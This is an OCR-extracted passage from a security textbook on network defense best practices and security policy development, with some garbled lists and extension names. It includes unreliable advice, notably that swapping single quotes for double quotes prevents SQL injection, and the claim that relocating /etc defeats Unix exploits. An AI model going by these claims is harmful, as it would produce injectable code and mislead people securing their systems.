communication directly from the Internet. An application layer may contain systems that
accept communication from the public layer. A data layer may accept communication from
the application layer. Communication between these layers can be managed by a firewall, or
by ACLs.

Best Practices for Network Defense

It only takes one careless end user to infect an entire network. If you are an administrator, it is
clear that all the good intentions and friendly newsletters will not assure a reasonable level of
computer security. You must stop malicious mobile code from arriving on the desktop in the
first place, close holes, and make sure the users’ computers are appropriately configured. If
they can’t click on malware, run it, or allow it on their computer, you've significantly decreased
the threat of malicious attack.

There are many countermeasures you can implement to minimize the risk of a
successful attack, such as securing the physical environment, hardening the operating
systems, keeping patches updated, using an antivirus scanner, using a firewall, securing
network share permissions, using encryptions, securing applications, backing up the system,
creating a computer security defense plan, and implementing ARP poisoning defenses.

Secure the Physical Environment

A basic part of any computer security plan is the physical aspect. Of course, mission-critical
servers should be protected behind a locked door, but regular PCs need physical protection
too. Depending on your environment, PCs and laptops might need to be physically secured
to their desks. There are several different kinds of lockdown devices, from thin lanyards of
rubber-coated wire to hardened metal jackets custom-made to surround a PC. If anyone
leaves their laptop on their desk overnight, it should be secured. There are also other steps
that need to be taken on every PC in your environment.

Password Protect Booting

Consider requiring a boot-up password before the operating system will load. This can
usually be set in the CMOS/BIOS and is called a user or boot password. This is especially
important for portable computers, such as laptops and tablets and smartphones. Small-
form-factor PCs are the most likely candidates to be stolen. Since most portable devices
often contain personal or confidential information, password-protecting the boot sequence
might keep a nontechnical thief from easily seeing the data on the hard drive or storage
RAM. If a boot-up password is reset on a tablet or smartphone, often it requires that the
data be erased too, so confidentiality and privacy are assured.
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Password Protect CMOS

The CMOS/BIOS settings of a computer contain many potential security settings, such as
boot order, remote wake-up, and antivirus boot-sector protection. It is important to ensure
that unauthorized users do not have access to the CMOS/BIOS settings. Most CMOS/
BIOS:s allow you to set up a password to prevent unauthorized changes. The password
should not be the same as other administrative passwords, but for simplicity’s sake, a
common password can be used for all machines.

There are ways around the CMOS/BIOS and boot-up passwords. Some boot-up passwords
are able to be bypassed by using a special bootable floppy disk from the motherboard
manufacturer or by changing a jumper setting on the motherboard. While they are not
100 percent reliable, a CMOS/BIOS or boot-up password might prevent some attacks from
happening. For instance, in the Chapter 2 example where the gray hat attacker (a trusted
conference presenter) oversupplied the security guard with soda, his physical attack was
successful because he was able to slip into the unguarded room, put a floppy disk in the drive,
and reboot the server on it. Had the floppy disk drive been disabled in the CMOS/BIOS and
the boot sequence password-protected, his attack probably would have been unsuccessful.

Various operating system boot loaders, like Linux’s LILO, allow boot-up passwords to be
set. Of course, that won’t stop someone from booting from another drive with a similar file
system and taking over the machine. That’s why the next step is so important.

Disable Booting from USB and CD

Disabling booting from USB storage devices and optical drives will prevent boot viruses
from those devices and stop attackers from bypassing operating system security by loading a
different operating system on the computer.

Harden the Operating System
As described in Chapters 21 and 22, reduce the attack surface of the operating system by
removing unnecessary software, disabling unneeded services, and locking down access:
. Reduce the attack surface of systems by turning off unneeded services.
. Install secure software.

1
2
3. Configure software settings securely.
4. Patch systems regularly and quickly.
5

. Segment the network into zones of trust and place systems into those zones based
on their communication needs and Internet exposure.

6. Strengthen authentication processes.

7. Limit the number (and privileges) of administrators.

Keep Patches Updated

An attacker’s best friend is an unpatched system. In most cases, the vulnerabilities used
are widely known, and the affected vendors have already released patches for system
administrators to apply. Unfortunately, a large percentage of the world does not regularly
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apply patches, and attacks against unpatched systems are widely successful. A solid patch-
management plan is essential for protecting any platform, regardless of operating system
and regardless of whether or not it is connected directly to the Internet.

Chapter 21 provides some best practices for keeping Unix system software updated with
security updates, and Chapter 22 gives advice on Windows patch management. Operating
system security updates are also important for network devices (Chapter 14), mobile devices
(Chapter 25), and other infrastructure (Chapter 23). Basically, keeping any technology system
up-to-date with the latest software is crucial, because vendors find and fix vulnerabilities over
time. Don’t let a vulnerability hang around on your systems waiting for an attacker to exploit.

Use an Antivirus Scanner (with Real-Time Scanning)

In today’s world, an antivirus (AV) scanner is essential. It should be deployed on your
desktop, with forced, automatic updates, and it should be enabled for real-time protection.
Although deploying an AV scanner on your e-mail gateway is a good secondary or adjunct
choice, if you only have the money to deploy an AV scanner in one location, choose

the desktop. Why? Because no matter how the malware comes in (whether by e-mail,
storage device, wireless, macro, Internet, tablet/smartphone, P2P, or IM), it must execute
on the desktop to start harming. By placing the antivirus solution on the desktop, you are
ensuring that no matter how it gets there, it will be blocked. E-mail and gateway AV-only
solutions work most of the time, but they will fail if the malware comes in via any other
method or on an unexpected port.

The AV solution should be enabled for real-time protection so it scans every file as it
comes into the system or enters the computer’s memory, so it can prevent malware from
executing. Sometimes, in the interest of performance, users will want to disable the real-
time functionality. Avoid agreeing to these requests, because that real-time scanning, even if
it affects performance, is your best protection against infection.

Use Firewall Software

Almost as important as an AV scanner is the firewall. Firewalls have come a long way since
their days of simple port filtering. Today’s devices are stateful inspection systems capable of
analyzing threats occurring anywhere in layers three through seven with software that runs
directly on the computer. Firewalls are able to collate separate events into one threat
description (such as a port scan) and can identify the attack by name (such as a teardrop
fragmentation attack). Every PC should be protected by firewall software.

Desktop firewall software (also known as host-based firewalls or personal firewall
software) can protect a PC against internal and external threats and usually offer the added
advantage of blocking unauthorized software applications (such as Trojans) from initiating
outbound traffic. Many antivirus scanning organizations offer firewall combo packages.

Secure Network Share Permissions

One of the most common ways an attacker or worm breaks into a system is through a
network share (such as NetBIOS or SMB) with no password or a weak password. Folders
and files accessed remotely over the network should have discretionary ACLs (DACLs)
applied using the principle of least privilege and should have complex passwords.
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By default, Windows assigns, and most administrators allow, the Everyone group to have
Full Control or Read permissions throughout the operating system and on every newly
created share. This is the opposite of the least privilege principle (maybe it should be called
the most privilege principle). To counteract this problem, you should, at a minimum, begin
by changing Everyone Full Control to Authenticated Users Full Control, wherever you can.
Although this is not really that much more secure than the former setting, it will stop
unauthenticated users, like anonymous and Guest users, from getting Full Control of
resources by default.

Many Windows administrators also believe that it is acceptable for all shares to have
Everyone Full Control because the underlying NTFS permissions, which are usually less
permissive, will result in the desired tighter effective permissions. While this is true if you are
100 percent accurate in setting NTFS permissions, it goes against the principle of defense in
depth (the onion model). A better strategy is to assign share and NTFS permissions to the
smallest allowable list of groups and users. That way, if you accidentally set your NTFS file
permissions too open, the share permissions might counteract the mistake.

Use Encryption

Most computer systems have many encryption opportunities. Use them. Linux and Unix
administrators should be using SSH instead of Telnet or FTP to manage their computers.
The latter utilities work in plaintext over the network, whereas SSH is encrypted. If you
must use FTP, consider using an FTP service that uses SSL and digital certificates to encrypt
traffic. In order for encrypted FTP to work, both the client and the server must support the
same encryption mechanism. Use Windows IPSec Policies to require encrypted
communications between servers and clients.

Encrypting File System (EFS) is one of the most exciting features in Windows. EFS
encrypts and decrypts protected files and folders on the fly. Once turned on by a user,
EFS will automatically generate public/private encryption key pairs for the user and the
recovery agent. All the encrypting and decrypting is done invisibly in the background. If
an unauthorized user tries to access an EFS-protected file, they will be denied access.

TIP To turn on EFS, right-click a file or folder, choose the Properties tab, click the Advanced button under
the Attributes section, and then choose Encrypt Contents to Secure Data.

Because EFS encrypts and decrypts on the fly, it won’t prevent malware occurrences
while the authorized user is logged on. However, EFS-protected folders and files will be
protected when the authorized user is not logged on. This may prevent maliciousness in
certain circumstances, like a widespread worm attack that is running amok on a file server,
corrupting every data file it can find (like the VBS.Newlove worm does). Since EFS can help
provide additional security, is virtually invisible to the end user, and has a minimal
performance hit, it is something to consider using for added protection.

Secure Applications

Managing your applications and their security should be a top priority of any administrator.
Applications can be managed by configuring application security, installing applications to
nonstandard directories and ports, locking down applications, securing P2P services, and
making sure your application programmers code securely.
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Securely Configure Applications

Applications should be configured with the vendors’ recommended security settings. The
three most commonly exploited Windows applications are Microsoft’s Outlook (Express),
Internet Explorer, and the Microsoft Office suite of applications. These applications may
belong on end user workstations where people need them to do work, but they probably
don’t belong on your organization’s servers. If you need high security on your servers,
remove these applications. Because of the risk of common exploits, servers should not have
e-mail clients (e.g. Outlook) or Microsoft Office installed on them.

In end-user PC environments, however, you want to keep the applications and minimize
the risk at the same time. You can do this by regularly applying security patches and making
sure security settings are set at the vendor’s recommended settings, if not higher. Outlook
and Outlook Express should both have their security zone set to Restricted. Internet
Explorer’s Internet zone should be set to Medium-High or High. Office offers administrative
templates (called ADM files) that can be configured and deployed using System Policies or
Group Policies. These can be downloaded from Microsoft’s web site or found on the Office
Resource Kit.

Other applications usually come with default security settings, and you can visit the
vendor’s technical support resources to find out more about your security choices.
Unfortunately, many software vendors don’t take security seriously. That’s when you will
need to use the concepts and practices you’ve learned from this book, and you may need to
do some research on your own. If an exploit becomes known that targets your application,
it usually shows up on the common security websites and mailing lists. One of the most
inclusive exploit notification newsletters can be found at SANS (www.sans.org). SANS
publishes weekly lists of all exploits affecting almost any operating system platform,
including Windows, Unix, Linux, Macintosh, FreeBSD, and more.

Securing E-Mail E-mail worms continue to be the number-one threat on computer
systems, especially Windows systems running Outlook or Outlook Express. Most worms
arrive as a file attachment or as an embedded script that the end user executes. Clearly, you
can significantly decrease your network’s exposure risk by securing e-mail. This can be done
by disabling HTML content and blocking potentially malicious file attachments.

Anything beyond plain text in an e-mail can be used maliciously against a computer. For
that reason, it is important to restrict e-mails to plain text only or, if you must allow it, plain
HTML coding only. You should disable scripting languages and active content, such as
ActiveX controls, Java, and VBScript objects. Often this is as simple as checking a checkbox
in the e-mail client to force all incoming e-mail to be rendered in plain text. Some clients
handle this more elegantly than others, and HTML-only messages can be badly mangled
during conversion or can appear blank. Outlook and Outlook Express allow e-mails with
active content to be opened in the Restricted Internet zone, which disables content beyond
plain HTML coding. This is the default setting in Microsoft’s latest e-mail clients. Early
clients opened e-mail in the much more permissive Internet security zone.

If you can block active content from executing, then all you have to worry about is end
users clicking malicious HTML links or opening file attachments. It is difficult to block
users from clicking malicious HTML links if they already have Internet access. In Windows
environments, you can use Group Policy, Internet Explorer Administration Kit (IEAK), or
some other type of proxy server filter to only allow end users to visit preapproved sites, but
beyond that you have to rely on end-user education.
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Blocking Dangerous File Types Blocking dangerous file attachments is the best way to
prevent exploits, given today’s preferred method of e-mailing viruses and worms. The
biggest question is “What constitutes a dangerous file type?” The truth is that almost any
file type can be used maliciously, so the better question is “What are the popularly used
malicious file types?” Even that list isn’t small. Table 4-1 shows the Windows file types that
are commonly blocked in organizations that are concerned about the various popular
attacks that use these file types as vectors. These are in order of their prevalence in e-mail

server block lists.

File Extension | Description Threat

.scr Windows screen saver file Can contain worms and Trojans

.bat DOS batch file Can contain malicious commands

.pif Program information file Can run malicious programs

.com DOS application Can be a malicious program

.exe Windows application Can be a malicious program

.vbs Visual Basic script Can contain malicious code

.cmd Command script Can be used to script malicious batch
files

.shs Shell scrap object Can mask rogue programs

.vbe Visual Basic file Can contain malicious code

.hta HTML application Frequently used by worms and Trojans

reg Windows registry settings file Modifies Windows registry, can change
security settings

Jse JavaScript encoded file Can contain malicious code

wsf Windows Script File Can execute malicious code

sct Windows Script components file Can execute malicious code

.wsh Windows Script Host file Can execute malicious code

.chm Microsoft Compiled HTML Help file | Can exploit browser vulnerabilities

Js JavaScript file Can contain malicious code

Ink Shortcut link Can be used to automate malicious
actions

.cpl Windows Control Panel file Can contain malicious code or change
security settings

hlp Microsoft Help file Can be used in multiple exploits

.WsC Windows Shell command file Can execute malicious code

.shb Shell scrap object Can mask rogue programs

vb Visual Basic file Can contain malicious code

.msi Windows Installer package Can install malicious programs

.msp Windows Installer Patch file Can contain malicious code

Table 4-1 Commonly Blocked File Extensions
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File Extension | Description Threat

.bas Programs written in the BASIC Can be malicious code
programming language

.crt Digital certificate Can be used in exploits to trust

malicious code

.ins Microsoft Internet communication Can change security settings
settings

isp Microsoft Internet Service Provider | Can change security settings
settings

.msc Microsoft Management Console Can change security settings
settings

.mst Windows Installer transform file Can install malicious code

.ade Microsoft Access file Can contain malicious code

.adp Microsoft Access file Can contain malicious code

.mdb Microsoft Access file Can contain malicious code

Anf Microsoft software and driver Can install malicious code
installation package

Table 4-1 Commonly Blocked File Extensions (continued)

As large as Table 4-1 is, many readers can probably add other file extensions to the list
from their own experience. Only you can judge what file extensions have an acceptable cost/
benefit ratio and should be allowed into your network. However, allowing every file extension
into your network is asking for a security exploit. For example, Visual Basic script (.vbs) files
are one of the most common malicious file types for e-mail worms and viruses. Although
people rarely send each other .vbs files for legitimate reasons, worms and viruses do it all the
time. It only makes sense to block .vbs files from automatically entering your network.

Dangerous file extensions can be blocked at the Internet gateway device, e-mail server,
or e-mail client. A plethora of commercial and open source programs exist to block file
attachments at the gateway and e-mail server level. In addition, most antivirus vendors offer
an e-mail server antivirus solution.

Blocking Outlook File Attachments Many administrators believe that they cannot block
potentially dangerous file extensions in their network. They believe end users and
management would revolt. But when management hears the statistics, they present a
compelling business argument for file blocking. According to the Radicati Group in
April 2010, there were at that time 294 billion e-mails sent each day globally on the
Internet. That’s 2.8 million e-mails per second, and 90 trillion per year. Of those, 90%
contain spam and viruses. This means that spam and viruses comprise:

® 2,520,000 e-mails per second
* 264,600,000,000 e-mails per day
e 81,000,000,000,000 e-mails per year
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Even if you have a spam filtering service, which you should (or you’ll be overwhelmed
by all the spam), some malicious e-mails will slip through. If necessary, you can compromise
by allowing blocked file attachments to be sent to a quarantine area where they can be
inspected before release. Or you can allow your most savvy users, who can be trusted not to
open untrusted files, to have the discretion of turning file blocking off.

E-mail security is essential in today’s environment. By preventing malicious HTML
content and blocking potentially dangerous file attachments, you have significantly
improved the security of your organization.

Install Applications to Nonstandard Directories and Ports

Many malware programs depend on the fact that most people install programs to default
directories and on default ports. You can significantly minimize the risk of exploitation by
installing programs into nonstandard directories and instructing them to use nonstandard
ports. Many Unix and Linux exploits rely on the existence of the /etc directory. By simply
changing the installation folder to something other than /etc, you've significantly reduced
the risk of malicious attacks being successful. Similarly, instead of installing Microsoft Office
to C\Program Files\Microsoft Office, consider customizing the program during installation to
be placed in C:\Program Files\MSOffice. Consider installing Windows into a different folder
than the default of C:\Windows. Any change from the default setting, even one character, is
enough to defeat many automated attack tools.

If your application opens and uses a TCP/IP port, see if you can make it communicate
on a port other than the default. For instance, if you have an extranet web site, consider
telling your customers to connect to some other port besides port 80 by using the following
syntax in their browser:

http://www.domainname.com:X
where Xis the new port number. For example,
http://www.mydomain.com: 801

Many web exploits only check for web servers on port 80, so this change would guard
against that attack.

Lock Down Applications

One of the biggest risks to any environment is the ability for an end user to install and run
any software they want. There are many tools available to limit what an end user can and
cannot run on the desktop. In Windows, the administrator could set system policies to
prevent the installation of new applications, take away the user’s Run command, and severely
limit the desktop. Windows also has a feature called Software Restriction Policies that allows
administrators to designate what software is allowed to run on a particular computer.
Applications can be defined and allowed by the following methods: trusted digital certificate,
hash calculations, placement in an Internet security zone, path location, and file type.

Secure P2P Services

Peer-to-peer (P2P) applications, like instant messaging (IM) and music sharing, are likely to
remain strong attack targets in the future. This is because P2P applications have very
limited security, if any, and are often installed in the corporate environment without the
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administrator’s authorization. And, they are designed to access files on the end user’s
computer, which makes the job of stealing those files that much easier. Consequently, P2P
applications are seen more as a nuisance than a legitimate service that needs to be secured
and managed. However, there are some steps you can take to manage P2P applications and
minimize their security consequences.

First, if P2P isn’t authorized in your corporate environment, eradicate it. Start by
educating end users and working with management to establish penalties for unauthorized
software. Then track the programs down and remove them. Tracking them down means
monitoring firewall logs for known P2P port attempts, using an IDS on the local network to
sniff for P2P packets, or using P2P auditing software.

Second, make sure your firewall is configured to explicitly stop P2P traffic. Because P2P
software often uses port 80 as a proxy port, it can be difficult to block P2P traffic by port
number alone, but there are things you can do. If the P2P clients connect to servers with a
particular IP address or in a particular domain, block the destination at the firewall. Some
firewalls allow you to use wildcards in blocked domain names, such as *irc* or *kaz*.

Last, if your end users insist on using P2P, and it is authorized by management, insist on
a more secure P2P application, if at all possible. For instance, if your end users insist on
using AOL’s IM client, see if management will spring for AOL’s corporate IM client. It’s not
free, but it does have more security. There are dozens of secure corporate IM clients
available, and all have significantly better security. And finally, make sure the desktop
antivirus scanner inspects P2P traffic.

Make Sure Programmers Program Securely
SQL injection and buffer-overflow attacks can only be defeated by programmers using secure
coding practices. Type either phrase into an Internet search engine and it will return dozens of
documents on how to prevent those types of attacks. Preventing SQL injection attacks can be as
simple as using double quotation marks instead of single quotes. Stopping buffer-overflow
attacks requires input validation. Several free and commercial tools are available to test
your applications for the presence of these attacks and to offer remediation suggestions.
The IIS Lockdown Tool should be executed on any system running IIS. It works by
using templates specifically designed for different web server roles (such as OWA server,
public web server, and so on). The security templates turn off unnecessary features, remove
unneeded files, and install URLScan, which filters out many common, malicious URL
attacks. If the installation negatively affects the IIS server, it can easily be uninstalled and
the original settings restored.

Back Up the System

With the notable exception of stolen confidential information, the most common symptom
of damage from malware is modified, corrupted, or deleted files. Worms and viruses often
delete files, format hard drives, or intentionally corrupt data. Even malware that does
nothing intentionally wrong to a system’s files is maliciously modifying a system just by
being present. Security experts cannot always repair the damage and put the system back to
the way it was prior to the exploit. This means it’s important to keep regular, tested backups
of your system. The backup should include all your data files at a minimum, and a complete
system backup ensures a quicker recovery in the event of a catastrophic exploit event.
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The one caveat to this last piece of advice is to remember that the exploit or hidden
malware that damaged your system in the first place could have contaminated your backups
and may need to be dealt with prior to putting the system back into production.

Implement ARP Poisoning Defenses

As discussed in Chapter 2, ARP poisoning attacks are one of the most common and
effective threats against network infrastructures (especially wireless networks). They are a
form of man-in-the-middle (MITM) attack that allows an attacker to intercept and modify
network traffic, invisibly. Thus, these attacks merit their own special countermeasures.
There are a few ways an organization can defend against an ARP poisoning attack. Defenses
include implementing static ARP tables, configuring port rate limiting, or using DHCP
snooping with dynamic ARP inspection (DAI). The most effective defense is a combination
of the latter two methods

Create a Computer Security Defense Plan

This chapter has covered the steps you can take to secure a computer system. Now you need
to take what you’ve learned and apply it in a comprehensive computer security defense plan.
These are the steps to creating a plan:

1. Inventory the assets you have to protect.

2. Decide the value of each asset and its chance of being exploited in order to come
up with a quantifiable exposure risk.

3. Using the steps outlined in this chapter (and summarized next), develop a plan to
tighten the security on your protected assets. Assets with the highest exposure risk
should be given the most protection, but make sure all assets get some baseline
level of security.

4. Develop and document security baseline tools and methods. For example, develop
an acceptable security template for end-user workstations. Document a method for
applying security templates to those workstations (probably a group policy), and
put policies and procedures in force to make sure each workstation gets configured
with a security template.

5. Use vulnerability testing tools to confirm assets have been appropriately configured.
6. Do periodic testing to make sure security settings stay implemented.
7. Change and update the plan as dictated by new security events and risks.
Although this is a security cliché, security is an ongoing process, not a simple one-time
configuration change. Good security means applying reasonable computer security
measures consistently and reliably. Good security is boring, but that is the way you want it to

be. Exciting computer security, fighting attackers and eradicating computer viruses, means
you have holes in your computer security defense.

Implement Static ARP Tables
From a console, if you execute the command arp —a, it will display the ARP table for your
system. A quick review of the output shows the IP address and the MAC address associated
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with the IP address (device). This is how the system knows how to route traffic. One of the
devices listed is the gateway address. This is the address for the switch where traffic will
pass, if the device wants to send information to a device that doesn’t exist in its ARP table.
A simple ARP request is sent to ask for the information. The information is then added to
the ARP table of the device. The switch follows the same steps to build its ARP table. This
is known as dynamic updating and is used for most devices in an organization.

Static ARP tables are exactly what the name implies, static. This means that instead of
using the basic ARP request/reply method, the tables are managed by the organization,
essentially hard coded. This helps to prevent an ARP poisoning attack because the main
avenue of the attack is cut off. The issue with static ARP is the amount of overhead
required to keep static ARP tables up to date. If a device doesn’t know where to route
traffic, essentially the packets will be dropped. This means the user cannot access systems
where an entry doesn’t exist.

Unfortunately, the payoff for this defense is not worth the effort, which is why
organizations don’t implement it. Every time a new device is placed on the network, static
ARP requires making a manual entry in all other devices in order to properly route traffic
through the network. When considering an organization with thousands of employees
and devices constantly being changed on the network, this would quickly become an
insurmountable task. This solution may be useful in a home environment where systems
are rarely replaced.

Configure Port Rate Limiting

Another possible solution for defense is port rate limiting (PRL). In this scenario, the
amount of traffic passing over a port during a given length of time is monitored. If the
configured threshold is tripped, the port closes itself until either it is enabled manually or a
specified length of time passes (usually 15 minutes).

In order to establish an effective threshold, an organization will need to monitor the
amount of traffic for a “normal” system over the course of a few weeks. By monitoring
traffic correctly, a proper threshold can be set. If the organization does not do its research
ahead of time and simply implements what it thinks is a “good” threshold, it may find that
its users are constantly exceeding the threshold and unable to perform their day-to-day
work. Another possible outcome from this approach is that the threshold will be set too
high, which defeats the original purpose for putting PRL in place.

If we look at how an MITM attack with ARP poisoning works, it’s easy to see why PRL is a
fairly effective defense. As explained earlier, ARP poisoning works by moving the traffic of the
victim system (s) through the attacker’s device. If an attack is executed on a port with PRL, the
amount of traffic should be enough to trip the threshold and thus shut off the port. If the
port is unusable to an attacker, you have essentially cut off their ability to perform ARP
poisoning from that port. It is essentially a “fail closed” scenario for the organization. If
enabling the port requires manual intervention, this could help alert the organization of
something suspicious, especially if it happens on several ports within a short timeframe.

PRL requires the attacker to do more research within the organization to set a proper
threshold. A motivated attacker will learn from this experience and perhaps perform a more
targeted attack in hopes of circumventing this defense. For example, if an attacker is targeting
a small group of users, he might execute the attack against a single user at a time. The
amount of traffic may not be enough to trip the threshold and the attack may be successful.
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Use DHCP Snooping and Dynamic ARP Inspection

The most effective defense against ARP poisoning is to use DHCP snooping with dynamic
ARP inspection (DAI). The basis of this defense is that it drops all ARP reply requests not
contained within its table. As with PRL, this defense requires the organization to do some
research on its environment before full implementation can be executed. The organization
needs to run DHCP snooping for two to three weeks in order to build a proper table of IP
addresses and MAC addresses. After it has built that table, it can implement DAI. Once
implemented, DAI provides a solid defense against ARP poisoning attacks.

In this scenario, when the attacker’s system tells the switch via ARP reply that his
system’s MAC address is the victim’s MAC address, the switch compares this information
with its table and drops the traffic if it doesn’t match, thereby cutting off the avenue in
which the attacker communicates.

Combine PRL and DAI for the Most Effective Defense

The most effective defense for an organization against ARP poisoning is a combination of
port rate limiting and dynamic ARP inspection. This defense-in-depth approach gives the
organization the best possibility for preventing an ARP poisoning attack.

The most effective way to prevent ARP poisoning is to replace all network devices with
new, attack-resistant devices. This usually requires a substantial financial investment, which
is why many organization hesitate to do so, and thus ARP poisoning remains a viable and
common attack vector. But without new, secure infrastructure, the organization will
continue to be vulnerable and an effective attacker will always be successful.

Summary

This chapter covered the principles that information security practitioners need to know in
order to secure technology infrastructures. The CIA triad is perhaps the most well-known
model to guide security implementations, with its focus on confidentiality, integrity, and
availability of data. However, there are several other models that focus on other aspects of
information security that are also important. Those additional aspects should be taken into
consideration when designing a security program.

Whether you’re talking about a network, a single computer, or any environment from
any other branch of security, an onion is always better than a lollipop. The onion represents
a layered security strategy, whereas the lollipop represents a single defense. A defense-in-
depth strategy is better because it requires attackers to break through many different
countermeasures. These security layers can be combined and allocated into different areas
of a network, known as zones of trust, based on the criticality, risks, and exposure of the
resources located in those zones.

Attacks can come from automated malicious code or from manual assaults by attackers.
There are many countermeasures you can implement on computers to minimize the risk of
a successful attack, including securing the physical environment to stop direct attacks by
attackers who gain physical control of a device, hardening the operating system to reduce
the attack surface, keeping patches updated so that vendor-supplied security fixes are
applied, using an antivirus scanner to detect and block malware, using firewall software to
control who can get in to a computer and what programs can communicate out, securing
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network shares to stop worms and attackers from spreading malware, using encryption to
preserve the confidentiality of data, and securing applications using their built-in security
options. Reliable backups are also important, so that systems can always be returned to a
known good state. Security settings should be automated whenever possible and should be
part of a computer security defense plan.

Finally, ARP poisoning was covered because it’s a significant threat in today’s networks.
Even if all computers are locked down according to best practices, ARP poisoning can be
used to take over those computers’ network sessions by a Man in the Middle, who would then
control all communications. Defenses against ARP poisoning include manual configuration
of ARP tables, port rate limiting, and dynamic ARP inspection.

The design of a computer network should take into account all of these principles in
order to be as secure as possible. Even so, these are primarily defensive strategies, and as
discussed in Chapter 1, detection and deterrence are also required for security. The following
chapters provide guidance on that.
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CHAPTER

Security Policies, Standards,
Procedures, and Guidelines

The four components of security documentation are policies, standards, procedures, and
guidelines. Together, these form the complete definition of a mature security program.
The Capability Maturity Model (CMM), which measures how robust and repeatable a
business process is, is often applied to security programs. The CMM relies heavily on
documentation for defining repeatable, optimized processes. As such, any security program
considered mature by CMM standards needs to have well-defined policies, procedures,
standards, and guidelines.

® Policy is a high-level statement of requirements. A security policy is the primary way in
which management’s expectations for security are provided to the builders, installers,
maintainers, and users of an organization’s information systems.

¢ Standards specify how to configure devices, how to install and configure software,
and how to use computer systems and other organizational assets, to be compliant
with the intentions of the policy.

® Procedures specify the step-by-step instructions to perform various tasks in accordance
with policies and standards.

® Guidelines are advice about how to achieve the goals of the security policy, but they
are suggestions, not rules. They are an important communication tool to let people
know how to follow the policy’s guidance. They convey best practices for using
technology systems or behaving according to management’s preferences.

This chapter covers the basics of what you need to know about policies, standards,
procedures, and guidelines, and provides some examples to illustrate the principles. Of
these, security policies are the most important within the context of a security program,
because they form the basis for the decisions that are made within the security program,
and they give the security program its “teeth.” As such, the majority of this chapter is
devoted to security policies. There are other books that cover policies in as much detail as
you like. See the References section for some recommendations. The end of this chapter
provides you with some guidance and examples for standards, procedures, and guidelines,
so you can see how they are made, and how they relate to policies.
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Security Policies

A security policy is the essential foundation for an effective and comprehensive security
program. A good security policy should be a high-level, brief, formalized statement of the
security practices that management expects employees and other stakeholders to follow.
A security policy should be concise and easy to understand so that everyone can follow the
guidance set forth in it.

In its basic form, a security policy is a document that describes an organization’s security
requirements. A security policy specifies what should be done, not how; nor does it specify
technologies or specific solutions. The security policy defines a specific set of intentions and
conditions that will help protect an organization’s assets and its ability to conduct business. It
is important to plan an approach to policy development that is consistent, repeatable, and
straightforward.

A top-down approach to security policy development provides the security practitioner
with a roadmap for successful, consistent policy production. The policy developer must
take the time to understand the organization’s regulatory landscape, business objectives,
and risk management concerns, including the corporation’s general policy statements. As
a precursor to policy development, a requirements mapping effort may be required in
order to incorporate industry-specific regulation. Chapter 3 covered several of the various
regulations as well as best practice frameworks that security policy developers may need to
incorporate into their policies.

NOTE The regulatory landscape includes U.S. federal and state laws regarding data and personal
privacy, European laws restricting what organizations can do with personal data, laws from other
countries that must be followed when an organization does business there, and industry-specific
standards. All relevant regulations must be incorporated into the policy development objectives.

A security policy lays down specific expectations for management, technical staff, and
employees. A clear and well-documented security policy will determine what action an
organization takes when a security violation is encountered. In the absence of clear policy,
organizations put themselves at risk and often flounder in responding to a violation.

® For managers, a security policy identifies the expectations of senior management
about roles, responsibilities, and actions that should be taken by management with
regard to security controls.

® For technical staff, a security policy clarifies which security controls should be used
on the network, in the physical facilities, and on computer systems.

¢ For all employees, a security policy describes how they should conduct themselves
when using the computer systems, e-mail, phones, and voice mail.

A security policy is effectively a contract between the business and the users of its
information systems. A common approach to ensuring that all parties are aware of the
organization’s security policy is to require employees to sign an acknowledgement document.
Human Resources should keep a copy of the security policy documentation on file in a place
where every employee can easily find it.
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Security Policy Development
When developing a security policy for the first time, one useful approach is to focus on the
why, who, where, and what during the policy development process:

1. Why should the policy address these particular concerns? (Purpose)

2. Who should the policy address? (Responsibilities)

3. Where should the policy be applied? (Scope)

4. What should the policy contain? (Content)

For each of these components of security policy development, a phased approach is
used, as discussed next.

NOTE Executive management’s involvement and approval will be required. But initially, the executives
may not understand the subject matter. As the policy developer works through the policy
development process, gaining executive-level buy-in, feedback, and approval at each stage is useful
in garnering support for the security program. This is a good opportunity to correlate executive
management’s business requirements and concerns, regulatory requirements, and standards
guidance to security policy components.

Phased Approach
If you approach security policy development in the following phases, depicted in Figure 5-1,
the work will be more manageable:
1. Requirements gathering

¢ Regulatory requirements (industry specific)

¢ Advisory requirements (best practices)

¢ Informative requirements (organization specific)
. Project definition and proposal based on requirements
. Policy development
. Review and approval

. Publication and distribution

[o2BNSL SN SR \o]

. Ongoing maintenance (and revision)

After the security policy is approved, standards and procedures must be developed in
order to ensure a smooth implementation. This will require the policy developer to work
closely with the technical staff to develop standards and procedures relating to computers,
applications, and networks.
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Figure 5-1 Security policy development process

Security Policy Contributors

Security policy should not be developed in a vacuum. A good security policy forms the core of
a comprehensive security awareness program for employees, and its development shouldn’t
be the sole responsibility of the IT department. Every department that has a stake in the
security policy should be involved in its development, not only because this enables them to
tailor the policy to their requirements, but also because they will be responsible for enforcing
and communicating the policies related to each of their specialties. Different groups and
individuals should participate and be represented in order to ensure that everyone is on
board, that all are willing to comply, and that the best interests of the entire organization are
represented. Figure 5-2 shows some example contributors to the security policy.

When creating a security policy, the following groups may be represented:

¢ Human Resources The enforcement of the security policy, when it involves
employee rewards and punishments, is usually the responsibility of the HR
department. HR implements discipline up to and including termination when the
organization’s policies are violated. HR also obtains a signature from each employee
certifying that they have read and understood the policies of the organization, so
there is no question of responsibility when employees don’t comply with the policy.

e Legal Often, an organization that has an internal legal department or outside legal
representation will want to have those attorneys review and clarify legal points in the
document and advise on particular points of appropriateness and applicability, both
in the organization’s home country and overseas. All organizations are advised to
have some form of legal review and advice on their policies when those policies are
applied to individual employees.
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Security

Figure 5-2 Example of security policy contributors

¢ Information Technology Security policy tends to focus on computer systems, and
specifically on the security controls that are built into the computing infrastructure.
IT employees are generally the largest consumers of the policy information.

¢ Physical Security Physical Security (or Facilities) departments usually implement
the physical security controls specified in the security policy. In some cases, the IT
department may manage the information systems components of physical security.

Security Policy Audience

The intended audience for the security policies is all the individuals who handle the
organization’s information, such as:

¢ Employees

® Contractors and temporary workers

¢ Consultants, system integrators, and service providers
e Business partners and third-party vendors

¢ Employees of subsidiaries and affiliates

e Customers who use the organization’s information resources

Figure 5-3 shows a representation of some example security policy audience members.

Technology-related security policies generally apply to information resources, including
software, web browsers, e-mail, computer systems, workstations, PCs, servers, mobile devices,
entities connected on the network, software, data, telephones, voice mail, fax machines, and
any other information resources that could be considered valuable to the business.

Organizations may also need to implement security policy contractually with business
partners and vendors. They may also need to release a security policy statement to customers.

www.it-ebooks.info


http://www.it-ebooks.info/

112 PARTI Foundations

Employees

Audience

Service
Providers

Figure 5-3 Security policy audience

Policy Categories

